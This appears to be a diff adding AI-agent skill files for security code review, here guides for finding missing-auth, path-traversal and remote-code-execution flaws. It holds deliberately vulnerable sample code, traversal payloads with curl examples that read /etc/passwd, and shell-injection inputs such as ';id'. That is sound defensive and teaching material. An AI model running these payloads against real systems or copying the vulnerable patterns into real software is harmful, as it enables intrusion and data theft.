> - Policy/Gate/Ability objects: `Gate::define`, `Policy`, `CanCanCan`, `Pundit`
> - In-handler checks: `if user.role != 'admin'`, `if not current_user.is_admin`
>
> 4. **Sensitive/privileged endpoints** to flag — any endpoint that:
> - Has an `/admin`, `/management`, `/internal`, `/api/admin`, `/superadmin`, `/system`, `/ops` path prefix
> - Performs user management: create/update/delete users, change roles, reset passwords for others
> - Manages application configuration: settings, feature flags, SMTP, secrets, environment variables
> - Accesses financial/billing data: invoices, payments, subscriptions for all users
> - Triggers system actions: sending emails to all users, running background jobs, clearing caches
> - Returns aggregate or sensitive data: all users, all orders, audit logs, error logs
>
> 5. **For each endpoint, note**:
> - Whether an auth middleware/decorator is present
> - Whether a role/permission check is present
> - The HTTP method(s) it handles
> - Whether it reads, writes, or deletes data
>
> **What to ignore**:
> - Publicly intended endpoints: login, register, password reset request, public content (blog posts, product listings)
> - Static asset serving, health-check endpoints (`/health`, `/ping`, `/status`)
>
> **Output format** — write to `sast/missingauth-recon.md`:
>
> ```markdown
> # Missing Auth Recon: [Project Name]
>
> ## Permission System Summary
> - Roles identified: [list roles, e.g. admin, moderator, user]
> - Auth mechanism: [JWT / session / API key / OAuth]
> - Auth decorators/middleware: [list names, e.g. @login_required, auth, requireAdmin]
>
> ## Endpoint Inventory
>
> ### 1. [Endpoint name / description]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Operation**: [read / write / delete / admin-action]
> - **Auth present**: [yes / no]
> - **Role check present**: [yes / no / partial]
> - **Code snippet**:
> ```
> [route registration + handler signature]
> ```
>
> [Repeat for each endpoint]
> ```
### Phase 2: Verify — Check Authentication and Authorization
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each endpoint in `sast/missingauth-recon.md`, determine whether it has adequate authentication and authorization checks. Write final results to `sast/missingauth-results.md`.
>
> **Context**: You will be given the project's architecture summary and the recon results. Use the architecture summary to understand the middleware ordering, role definitions, and auth patterns.
>
> **For each endpoint, evaluate**:
>
> 1. **Authentication check** — is a valid login/session/token required?
> - Is there an auth middleware, decorator, or guard on this route or its parent group?
> - Trace the middleware chain — confirm the auth middleware runs BEFORE the handler, not after
> - Check if the route is accidentally mounted outside an auth-protected group
>
> 2. **Role/permission check** — if the endpoint is privileged, is a role or permission verified?
> - Look for: `is_admin`, `is_staff`, `role == 'admin'`, `hasRole('ADMIN')`, `@PreAuthorize`, `requireRole`, `can?(:manage, ...)`, `Gate::allows`, `authorize('admin-action')`
> - Verify the check runs on every HTTP method — a DELETE may be unguarded even if GET is protected
> - Check that the role comparison is not inverted or trivially bypassable
>
> 3. **Edge cases**:
> - Is the check conditional on a user-controlled header, parameter, or query string?
> - Does the auth gate apply to the route group but the specific route is excluded via an `except` list?
> - Is there a secondary unauthenticated path to the same function (e.g., an internal API alias)?
> - Does the middleware apply only to some environments (e.g., skipped in test mode)?
>
> 4. **Privilege identification**:
> - Does the endpoint path suggest it is admin/privileged (`/admin/`, `/manage/`, `/internal/`)?
> - Does the operation affect other users' data, system configuration, or aggregate records?
> - If yes to either, a role/permission check should be present
>
> **Classification**:
> - **Vulnerable**: No authentication required, or authenticated but role check is entirely absent on a privileged endpoint.
> - **Likely Vulnerable**: Auth and/or role check exists but appears incomplete, bypassable, or misapplied (e.g., wrong role, wrong HTTP method, conditional skip).
> - **Not Vulnerable**: Proper authentication and role/permission checks are in place.
> - **Needs Manual Review**: Cannot determine with confidence (e.g., complex middleware chain, dynamic role loading, authorization delegated to a service layer).
>
> **Output format** — write to `sast/missingauth-results.md`:
>
> ```markdown
> # Missing Auth/Authz Analysis Results: [Project Name]
>
> ## Executive Summary
> - Endpoints analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Issue**: [Missing authentication / Missing role check for privileged action]
> - **Impact**: [What an unauthenticated or low-privilege attacker can do]
> - **Proof**: [Show the route definition and handler — highlight the missing check]
> - **Remediation**: [Specific fix — add auth middleware, add role decorator, etc.]
> - **Dynamic Test**:
> ```
> [curl command or step-by-step to confirm on the live app.
> For missing auth: show the request with NO token succeeding.
> For missing role: show the request with a regular user token succeeding on an admin endpoint.
> Use placeholders like <REGULAR_USER_TOKEN>, <ADMIN_ENDPOINT>.]
> ```
>
> ### [LIKELY VULNERABLE] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Issue**: [What's incomplete about the check]
> - **Concern**: [Why this might still be exploitable]
> - **Proof**: [Show the code path with the weak/partial check]
> - **Remediation**: [Specific fix]
> - **Dynamic Test**:
> ```
> [curl command or step-by-step instructions to confirm this finding on the live app.]
> ```
>
> ### [NOT VULNERABLE] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Protection**: [How it's protected — auth middleware + role decorator / @PreAuthorize / Gate, etc.]
>
> ### [NEEDS MANUAL REVIEW] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Uncertainty**: [Why automated analysis couldn't determine the status]
> - **Suggestion**: [What to look at manually]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- Focus on **vertical privilege escalation** (user → admin) and **unauthenticated access**. Horizontal escalation (user A → user B's resource) is covered by the IDOR skill.
- Authentication (you are who you say you are) and authorization (you are allowed to do this) are separate concerns — check both.
- Middleware order matters: a middleware registered after the route handler will NOT protect the route.
- A missing auth or role check on one HTTP method (e.g., DELETE) is a full vulnerability even if GET is protected.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Pay attention to route grouping: a `use('/admin', adminRouter)` pattern protects all routes in `adminRouter`, but routes mounted outside that group are not protected.
@@ -0,0 +1,499 @@
---
name: sast-pathtraversal
description: >-
Detect path traversal vulnerabilities in a codebase using a two-phase
approach: first find all file-loading sites where a path is constructed
dynamically (open, readFile, send_file, etc.), then trace whether
user-supplied input reaches those sites and can escape the intended base
directory. Requires sast/architecture.md (run sast-analysis first). Outputs
findings to sast/pathtraversal-results.md. Use when asked to find path
traversal, directory traversal, or file disclosure bugs.
---
# Path Traversal Detection
You are performing a focused security assessment to find path traversal vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **sink discovery** (find all places where files are loaded using dynamically constructed paths) then **taint** (confirm whether user-supplied input reaches those sinks and can escape the intended directory).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is Path Traversal
Path traversal (also called directory traversal) occurs when user-supplied input is incorporated into a file path that is then used to read, write, or serve files from the filesystem — without properly constraining the resulting path to an intended base directory. An attacker can supply sequences like `../` or encoded variants (`%2e%2e%2f`, `..%2f`, `%2e%2e/`) to escape the intended directory and access arbitrary files such as `/etc/passwd`, application source code, credentials, or private keys.
The core pattern: *unvalidated user input reaches a filesystem operation and the resolved path is not verified to remain within the intended base directory.*
### What Path Traversal IS
- Serving a user-requested filename directly from a base directory without canonicalizing and checking the resulting path:
`open(os.path.join(BASE_DIR, user_filename))`
- Constructing a file path from a URL parameter and passing it to a file-read function:
`fs.readFile(path.join(__dirname, req.query.file), ...)`
- Template rendering or include directives driven by user input:
`include($_GET['page'] . '.php')`
- Archive extraction (`ZipFile`, `tarfile`, `zipslip`) where entry names are used as output paths without stripping `../` components
- Using `send_file()` / `send_from_directory()` / `res.sendFile()` with an unsanitized user-controlled path
- Reading a file whose path is derived from a user-controlled database value that was stored without sanitization
### What Path Traversal is NOT
Do not flag these as path traversal:
- **SSRF**: Fetching a remote URL from user input — that is Server-Side Request Forgery, a separate class
- **RCE via file write**: Writing attacker-controlled content to an arbitrary path — related but a different impact class (flag as RCE or File Upload)
- **Static file serving**: Serving files from a path that is entirely hardcoded with no user influence
- **Safe path joins followed by realpath + prefix check**: The code computes `realpath()` and verifies it starts with the intended base directory
- **basename() before join**: Using only the filename component strips traversal sequences (though note this prevents directory selection, not just traversal)
### Patterns That Prevent Path Traversal
When you see these mitigations applied **before** the file operation, the code is likely **not vulnerable**:
**1. `realpath` / `resolve` followed by a base-directory prefix check (most robust fix)**
```python
# Python
import os
BASE = '/var/www/files'
safe_path = os.path.realpath(os.path.join(BASE, user_input))
if not safe_path.startswith(BASE + os.sep):
raise PermissionError("Path escape detected")
with open(safe_path) as f:
...
```
```javascript
// Node.js
const BASE = path.resolve('/var/www/files');
const resolved = path.resolve(BASE, req.query.file);
if (!resolved.startsWith(BASE + path.sep)) {
return res.status(403).send('Forbidden');
}
fs.readFile(resolved, ...);
```
```java
// Java
Path base = Paths.get("/var/www/files").toRealPath();
Path resolved = base.resolve(userInput).normalize();
if (!resolved.startsWith(base)) {
throw new SecurityException("Path escape");
}
Files.readAllBytes(resolved);
```
**2. `basename()` / `path.basename()` to strip directory components**
```python
# Python — strips all directory parts, only the filename remains
filename = os.path.basename(user_input)
with open(os.path.join(BASE, filename)) as f:
...
```
```php
// PHP
$filename = basename($_GET['file']);
readfile('/var/www/uploads/' . $filename);
```
**3. Allowlist of permitted filenames or extensions**
```python
ALLOWED = {'report.pdf', 'manual.txt', 'logo.png'}
if user_input not in ALLOWED:
abort(400)
with open(os.path.join(BASE, user_input)) as f:
...
```
**4. Framework-provided safe file serving**
```python
# Flask — send_from_directory validates the path stays within the directory
return send_from_directory('/var/www/files', filename)
# Django — FileResponse with a path that was never user-controlled
```
---
## Vulnerable vs. Secure Examples
### Python — Flask
```python
# VULNERABLE: user-controlled filename joined without realpath check
@app.route('/download')
def download():
filename = request.args.get('file')
filepath = os.path.join('/var/www/files', filename)
return send_file(filepath)
# SECURE: resolve and verify the path stays within the base directory
@app.route('/download')
def download():
filename = request.args.get('file')
base = os.path.realpath('/var/www/files')
filepath = os.path.realpath(os.path.join(base, filename))
if not filepath.startswith(base + os.sep):
abort(403)
return send_file(filepath)
```
### Python — FastAPI
```python
# VULNERABLE: path parameter used directly in file read
@app.get('/file/{name}')
async def get_file(name: str):
return FileResponse(f'/app/static/{name}')
# SECURE: basename strips traversal sequences
@app.get('/file/{name}')
async def get_file(name: str):
safe_name = os.path.basename(name)
return FileResponse(os.path.join('/app/static', safe_name))
```
### Node.js — Express
```javascript
// VULNERABLE: req.query.file used directly in readFile
app.get('/file', (req, res) => {
const filePath = path.join(__dirname, 'uploads', req.query.file);
fs.readFile(filePath, (err, data) => res.send(data));
});
// SECURE: resolve and check prefix
app.get('/file', (req, res) => {
const base = path.resolve(__dirname, 'uploads');
const filePath = path.resolve(base, req.query.file);
if (!filePath.startsWith(base + path.sep)) {
return res.status(403).send('Forbidden');
}
fs.readFile(filePath, (err, data) => res.send(data));
});
```
### PHP
```php
// VULNERABLE: direct inclusion of user input
<?php
$page = $_GET['page'];
include($page . '.php');
// VULNERABLE: readfile with unsanitized path
$file = $_GET['file'];
readfile('/var/www/uploads/' . $file);
// SECURE: basename strips directory components
$file = basename($_GET['file']);
readfile('/var/www/uploads/' . $file);
// SECURE: realpath + prefix check
$base = realpath('/var/www/uploads');
$path = realpath($base . '/' . $_GET['file']);
if ($path === false || strpos($path, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(403);
exit;
}
readfile($path);
```
### Ruby on Rails
```ruby
# VULNERABLE: params[:file] used directly in file read
def show
file_path = Rails.root.join('public', 'reports', params[:file])
send_file file_path
end
# SECURE: basename only
def show
safe_name = File.basename(params[:file])
send_file Rails.root.join('public', 'reports', safe_name)
end
```
### Java — Spring
```java
// VULNERABLE: path variable used directly to read file
@GetMapping("/file/{name}")
public ResponseEntity<Resource> getFile(@PathVariable String name) throws IOException {
Path filePath = Paths.get("/var/www/files").resolve(name);
Resource resource = new UrlResource(filePath.toUri());
return ResponseEntity.ok(resource);
}
// SECURE: normalize and check prefix
@GetMapping("/file/{name}")
public ResponseEntity<Resource> getFile(@PathVariable String name) throws IOException {
Path base = Paths.get("/var/www/files").toRealPath();
Path resolved = base.resolve(name).normalize();
if (!resolved.startsWith(base)) {
return ResponseEntity.status(403).build();
}
Resource resource = new UrlResource(resolved.toUri());
return ResponseEntity.ok(resource);
}
```
### Go
```go
// VULNERABLE: query param joined directly to base directory
func fileHandler(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("file")
http.ServeFile(w, r, filepath.Join("/var/www/files", name))
}
// SECURE: filepath.Clean + prefix check
func fileHandler(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("file")
base := "/var/www/files"
clean := filepath.Join(base, filepath.Clean("/"+name))
if !strings.HasPrefix(clean, base+string(os.PathSeparator)) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
http.ServeFile(w, r, clean)
}
```
### Archive Extraction (ZipSlip)
```python
# VULNERABLE: ZipSlip — zip entry names can contain ../
import zipfile
with zipfile.ZipFile(user_zip) as zf:
zf.extractall('/var/www/uploads')
# SECURE: validate each entry path stays within the target directory
import zipfile, os
base = os.path.realpath('/var/www/uploads')
with zipfile.ZipFile(user_zip) as zf:
for member in zf.namelist():
target = os.path.realpath(os.path.join(base, member))
if not target.startswith(base + os.sep):
raise ValueError(f"ZipSlip detected: {member}")
zf.extractall(base)
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find File-Loading Sinks With Dynamic Paths
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where a file is opened, read, served, or extracted using a dynamically constructed path — meaning the path (or a component of it) is stored in a variable rather than being a fully hardcoded string. Write results to `sast/pathtraversal-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, web framework, file-serving patterns, and any file upload or download features.
>
> **What to search for — file-loading sinks with dynamic path components**:
>
> Flag any call to a file-reading/serving function where the path argument contains a variable (regardless of where the variable comes from). You are **not** tracing user input in this phase — that is Phase 2's job. Just find all dynamic file access patterns.
>
> 1. **Direct file open / read calls with a variable path**:
> - Python: `open(var)`, `open(os.path.join(..., var))`, `pathlib.Path(var).read_text()`, `pathlib.Path(var).read_bytes()`
> - Node.js: `fs.readFile(var, ...)`, `fs.readFileSync(var)`, `fs.createReadStream(var)`
> - PHP: `file_get_contents(var)`, `fopen(var, ...)`, `readfile(var)`, `include(var)`, `require(var)`, `include_once(var)`, `require_once(var)`
> - Ruby: `File.read(var)`, `File.open(var)`, `IO.read(var)`, `IO.binread(var)`
> - Java: `new FileInputStream(var)`, `new File(var)`, `Files.readAllBytes(Paths.get(var))`, `Files.newInputStream(path)`
> - Go: `os.Open(var)`, `os.ReadFile(var)`, `ioutil.ReadFile(var)`, `os.OpenFile(var, ...)`
> - C#: `File.ReadAllText(var)`, `File.ReadAllBytes(var)`, `new FileStream(var, ...)`, `System.IO.File.Open(var, ...)`
>
> 2. **Framework file-serving calls with a variable path**:
> - Flask: `send_file(var)`, `send_from_directory(base, var)`
> - FastAPI / Starlette: `FileResponse(var)`
> - Django: `FileResponse(open(var, 'rb'))`, `StreamingHttpResponse` over an opened file
> - Express: `res.sendFile(var)`, `res.download(var)`, `express.static` with dynamic root
> - Spring: `new UrlResource(path.toUri())`, `ResourceLoader.getResource(var)`, `ClassPathResource(var)`
> - Rails: `send_file var`, `render file: var`
> - Go: `http.ServeFile(w, r, var)`, `http.ServeContent(w, r, var, ...)`
>
> 3. **Path construction functions where at least one component is a variable**:
> - `os.path.join(BASE, var)`, `os.path.join(var1, var2)`
> - `path.join(__dirname, var)`, `path.resolve(base, var)`
> - `Paths.get(base).resolve(var)`
> - `filepath.Join(base, var)`
> - String concatenation used as a path: `BASE + var`, `f"{BASE}/{var}"`, `` `${base}/${var}` ``
>
> 4. **Archive extraction with user-supplied archives** (ZipSlip pattern):
> - Python: `zipfile.ZipFile.extractall(...)`, `tarfile.TarFile.extractall(...)`
> - Java: `ZipEntry.getName()` used as an output path
> - Node.js: `unzipper`, `adm-zip`, `node-tar` extraction calls
> - Go: `archive/zip` or `archive/tar` extraction without entry-name validation
>
> **What to skip** (these have no dynamic path component — do not flag):
> - File paths that are fully hardcoded string literals with no variable parts
> - Paths derived entirely from server-side config / environment variables with no user-supplied component (e.g., `open(settings.LOG_FILE)` where `LOG_FILE` is a config value)
> - Framework built-in static file middleware where the root directory is hardcoded (e.g., `express.static('public')` with a fixed root)
>
> **Output format** — write to `sast/pathtraversal-recon.md`:
>
> ```markdown
> # Path Traversal Recon: [Project Name]
>
> ## Summary
> Found [N] locations where files are accessed using dynamically constructed paths.
>
> ## File-Loading Sinks
>
> ### 1. [Descriptive name — e.g., "Dynamic readFile in download endpoint"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Sink**: [open / fs.readFile / send_file / include / FileInputStream / etc.]
> - **Path construction**: [os.path.join / path.join / string concat / f-string / etc.]
> - **Dynamic variable(s)**: `var_name` — [brief note on what it appears to represent, e.g., "looks like a filename from request" or "unknown origin"]
> - **Code snippet**:
> ```
> [the path construction + file operation call]
> ```
>
> [Repeat for each sink]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/pathtraversal-recon.md`. If the recon found **zero file-loading sinks** (the summary reports "Found 0" or the "File-Loading Sinks" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/pathtraversal-results.md` and stop:
```markdown
# Path Traversal Analysis Results
No vulnerabilities found.
```
Only proceed to Phase 2 if Phase 1 found at least one file-loading sink.
### Phase 2: Trace User Input to File-Loading Sinks and Check for Escape
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each file-loading sink in `sast/pathtraversal-recon.md`, determine whether a user-supplied value reaches the dynamic path variable AND whether any mitigation prevents the path from escaping the intended base directory. Write final results to `sast/pathtraversal-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand request entry points, middleware, and how data flows through the application.
>
> **For each sink, perform two checks**:
>
> **Check A — Is the path variable user-controlled?**
>
> Trace the dynamic variable(s) backwards to their origin:
>
> 1. **Direct user input** — the variable is assigned directly from a request source:
> - HTTP query params: `request.GET.get(...)`, `req.query.x`, `params[:x]`, `$_GET['x']`, `c.Query("x")`
> - Path parameters: `request.path_params['name']`, `req.params.name`, `params[:name]`, `c.Param("name")`
> - Request body / form fields: `request.POST.get(...)`, `req.body.x`, `params[:x]`, `$_POST['x']`
> - HTTP headers: `request.headers.get(...)`, `req.headers['x']`
> - Cookies: `request.COOKIES.get(...)`, `req.cookies.x`
> - Multipart filename: `file.filename`, `req.file.originalname`, `$_FILES['file']['name']`
>
> 2. **Indirect user input** — the variable is derived from user input through transformations, intermediate assignments, or function calls. Trace the full chain:
> - Variable assigned from a helper function → check the function's source
> - Variable passed as an argument → check all call sites
> - Variable read from a database value that was originally stored from user input
>
> 3. **Server-side / hardcoded value** — the variable comes from config, an environment variable, a hardcoded constant, or server-side logic with no user influence — this sink is NOT exploitable via path traversal.
>
> **Check B — Is path escape prevented by an effective mitigation?**
>
> Even if user input reaches the path, the following mitigations prevent traversal. Check whether they are applied **before** the file operation and applied **correctly**:
>
> - **`realpath` / `os.path.realpath()` + base-directory prefix check**: resolves symlinks and `..` sequences, then verifies the result starts with the intended base. This is the strongest fix.
> - `os.path.realpath(path).startswith(BASE + os.sep)` — effective ✓
> - `os.path.realpath(path).startswith(BASE)` without trailing separator — potentially bypassable if BASE is a prefix of another directory name ✗
> - **`path.resolve()` + `startsWith(base + sep)`** (Node.js) — effective ✓
> - **`Paths.get(...).normalize()` + `startsWith(base)`** (Java) — effective only if `base` was also obtained via `toRealPath()` ✓
> - **`filepath.Clean()` + `strings.HasPrefix(clean, base+sep)`** (Go) — effective ✓
> - **`basename()` / `path.basename()` / `File.basename()`** — strips all directory components; effective at preventing traversal but prevents subdirectory access
> - **Allowlist of permitted filenames** — fully effective if the allowlist is strict and the input is compared against it before use
> - **Framework `send_from_directory`** (Flask) — Flask's `send_from_directory` internally calls `safe_join` which raises an error on traversal; effective ✓
>
> Mitigations that are **insufficient**:
> - Stripping `../` with a simple `replace('../', '')` — bypassable with `....//` or URL encoding
> - Checking that input does not start with `/` — does not prevent relative traversal
> - Using `os.path.join` alone without `realpath` — `os.path.join('/base', '../etc/passwd')` still produces `/etc/passwd`
> - URL-decoding the input once — attackers can double-encode: `%252e%252e%252f` → `%2e%2e%2f` → `../`
> - Type validation (e.g., checking the extension is `.pdf`) without a path escape check — an attacker can use `../../etc/passwd%00.pdf` (null-byte) on older systems or frame the path to have the right extension at the end
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the path variable AND no effective mitigation is in place before the file operation.
> - **Likely Vulnerable**: User input probably reaches the path variable (indirect flow), or a weak/incomplete mitigation is present (e.g., `replace('../', '')`, no trailing-separator in prefix check).
> - **Not Vulnerable**: The path variable is server-side only, OR an effective mitigation (`realpath` + prefix check, `basename`, strict allowlist, safe framework helper) is correctly applied.
> - **Needs Manual Review**: Cannot determine the variable's origin with confidence (passes through opaque helpers or complex conditional flows), or the mitigation logic is non-standard and hard to evaluate statically.
>
> **Output format** — write to `sast/pathtraversal-results.md`:
>
> ```markdown
> # Path Traversal Analysis Results: [Project Name]
>
> ## Executive Summary
> - Sinks analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "HTTP query param `file` flows directly into os.path.join without realpath check"]
> - **Taint trace**: [Step-by-step from entry point to the file operation — e.g., "request.args.get('file') → filename → os.path.join(BASE, filename) → open(...)"]
> - **Missing mitigation**: [What check is absent — e.g., "No realpath() call; no prefix verification after join"]
> - **Impact**: Read arbitrary files accessible to the process user, including `/etc/passwd`, application config, source code, private keys.
> - **Remediation**: [Specific fix — e.g., "Apply os.path.realpath() after joining, then verify the result starts with BASE + os.sep before opening"]
> - **Dynamic Test**:
> ```
> [curl command or payload to confirm this finding.
> Show the exact parameter and traversal payload to test.
> Example:
> curl "https://app.example.com/download?file=../../../../etc/passwd"
> curl "https://app.example.com/download?file=..%2F..%2F..%2Fetc%2Fpasswd"
> curl "https://app.example.com/download?file=....//....//etc/passwd"
> Look for /etc/passwd content in the response.]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "Variable likely sourced from user input via helper function" or "Weak mitigation: strips ../ but bypassable with ....//"]
> - **Taint trace**: [Best-effort trace with the uncertain step identified]
> - **Concern**: [Why it remains a risk despite partial mitigation]
> - **Remediation**: [Apply realpath + prefix check or basename before joining]
> - **Dynamic Test**:
> ```
> [payloads to attempt bypass of the partial mitigation]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "Path is derived entirely from server-side config" or "os.path.realpath() + prefix check correctly applied"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the variable's origin or mitigation could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `resolve_asset_path()` in helpers.py to check where its return value originates"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any file-loading sink where the path has a dynamic component, regardless of origin. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
- **Phase 2 is taint analysis + mitigation review**: for each sink found in Phase 1, (a) trace the path variable back to its origin and (b) check whether an effective mitigation prevents escape from the intended directory.
- `os.path.join` and `path.join` alone do **not** prevent traversal — `os.path.join('/base', '../etc/passwd')` resolves to `/etc/passwd`. Only `realpath` + prefix check prevents this.
- Encoded traversal variants (`%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `%2e%2e/`) bypass naive string-match filters; only filesystem-level resolution (`realpath`) handles them reliably.
- `send_from_directory` in Flask is safe by itself (it calls `safe_join` internally) — do not flag it unless user input is also used as the *base directory* argument.
- Archive extraction (ZipSlip) is a path traversal variant: zip/tar entry names can contain `../` sequences. Flag any extraction that uses entry names as output paths without per-entry validation.
- Second-order traversal is possible: a filename stored in the DB from user input may later be used in a file read elsewhere in the codebase. Treat DB-read path values as potentially tainted and trace back to where they were written.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
+651
View File
@@ -0,0 +1,651 @@
---
name: sast-rce
description: >-
Detect Remote Code Execution (RCE) vulnerabilities in a codebase using a
two-phase approach: first find dangerous execution sinks (OS command calls,
eval-like functions, unsafe deserialization), then trace whether user-supplied
input reaches those sinks. Requires sast/architecture.md (run sast-analysis
first). Outputs findings to sast/rce-results.md. Use when asked to find RCE,
command injection, or unsafe deserialization bugs.
---
# Remote Code Execution (RCE) Detection
You are performing a focused security assessment to find Remote Code Execution vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **sink discovery** (find all places where OS commands are executed, code is dynamically evaluated, or untrusted data is deserialized) then **taint analysis** (confirm whether user-supplied input reaches those sinks).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is Remote Code Execution
Remote Code Execution (RCE) occurs when an attacker can cause the application to execute arbitrary OS commands or application-level code that they control. This is typically the highest-severity vulnerability class, often resulting in complete server compromise.
RCE arises from three primary root causes:
1. **OS Command Injection**: User input is embedded unsafely into an OS command string, allowing shell metacharacters to inject additional commands.
2. **Code Injection (eval-like)**: User input is passed to functions that interpret it as executable code (`eval`, `exec`, `Function()`, etc.).
3. **Unsafe Deserialization**: User-supplied serialized data is deserialized using a gadget-prone deserializer, triggering arbitrary code execution via crafted payloads.
### What RCE IS
- Passing user input directly or indirectly into OS command execution functions with shell interpretation enabled
- Using `eval()`, `exec()`, `Function()`, or equivalent constructs with user-controlled strings
- Deserializing user-supplied bytes/strings with inherently unsafe deserializers (pickle, PHP unserialize, Java native serialization, Ruby Marshal, etc.)
- Using `yaml.load()` without a safe loader on user-supplied content
- Dynamic `require()`/`import()` with user-controlled module paths
- PHP file inclusion (`include`/`require`) with user-controlled paths
### What RCE is NOT
Do not flag these as RCE:
- **SSRF**: Making HTTP requests to attacker-controlled URLs — different vulnerability class (no code execution)
- **Path Traversal**: Reading/writing arbitrary files — separate class (unless the read file is then executed/deserialized)
- **SSTI**: Template injection via template engines — a separate though related class; flag as SSTI, not RCE
- **XSS**: JavaScript execution in a victim's browser — client-side only, not server-side RCE
- **SQL Injection**: Injecting into database queries — different class (even if `xp_cmdshell` can lead to OS commands, flag it as SQLi)
- **Safe subprocess list-form calls**: `subprocess.run(["ls", user_arg])` with a list and no `shell=True` — arguments are passed directly to the OS without shell expansion; not vulnerable to command injection
- **Safe deserialization**: `json.loads()`, `yaml.safe_load()`, `xml.etree.ElementTree.parse()` — these formats have no code execution semantics
### Patterns That Prevent RCE
When you see these patterns, the code is likely **not vulnerable**:
**1. Subprocess list form without shell interpretation**
```
# Python — list args, no shell=True
subprocess.run(["convert", "-resize", size, input_file, output_file])
subprocess.Popen(["git", "clone", repo_url])
# Node.js — spawn with separate args (no shell)
child_process.spawn("ffmpeg", ["-i", inputFile, outputFile])
# Java — ProcessBuilder with list
new ProcessBuilder("ls", "-la", dir).start()
# Ruby — system() with multiple args (not a single interpolated string)
system("ffmpeg", "-i", "input.mp4", "-f", format, "output")
```
**2. Safe deserialization formats**
```
# Python — JSON instead of pickle
import json
data = json.loads(user_input) # no code execution semantics
# Python — safe YAML loader
import yaml
data = yaml.safe_load(user_input) # restricts to basic types only
# Java — Jackson without enableDefaultTyping, with concrete target type
ObjectMapper mapper = new ObjectMapper();
MyClass obj = mapper.readValue(json, MyClass.class); # safe
```
**3. Strict allowlist before command construction**
```
# Python — allowlist for dynamic arguments
ALLOWED_FORMATS = {"png", "jpg", "webp"}
if fmt not in ALLOWED_FORMATS:
return abort(400)
subprocess.run(["convert", infile, f"output.{fmt}"])
# Node.js — allowlist for dynamic args
const ALLOWED_COMMANDS = ['ls', 'pwd'];
if (!ALLOWED_COMMANDS.includes(cmd)) return res.status(400).end();
spawn(cmd, []);
```
---
## Vulnerable vs. Secure Examples
### OS Command Injection — Python
```python
# VULNERABLE: shell=True with f-string
@app.route('/ping')
def ping():
host = request.args.get('host')
result = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True, text=True)
return result.stdout
# Payload: ?host=127.0.0.1;id → executes "id"
# VULNERABLE: os.system with string formatting
def convert_image(filename):
size = request.form.get('size')
os.system(f"convert {filename} -resize {size} output.jpg")
# SECURE: list-form subprocess, no shell
@app.route('/ping')
def ping():
host = request.args.get('host')
result = subprocess.run(["ping", "-c", "1", host], capture_output=True, text=True, timeout=5)
return result.stdout
```
### OS Command Injection — Node.js
```javascript
// VULNERABLE: exec with template literal
app.get('/search', (req, res) => {
const query = req.query.q;
exec(`grep -r "${query}" /var/log/app/`, (err, stdout) => {
res.send(stdout);
});
});
// Payload: ?q=foo" /etc/passwd "
// VULNERABLE: execSync with concatenation
function runScript(userScript) {
return execSync('node scripts/' + userScript);
}
// SECURE: spawn with separate args
app.get('/search', (req, res) => {
const query = req.query.q;
const proc = spawn('grep', ['-r', query, '/var/log/app/']);
proc.stdout.on('data', (data) => res.write(data));
proc.on('close', () => res.end());
});
```
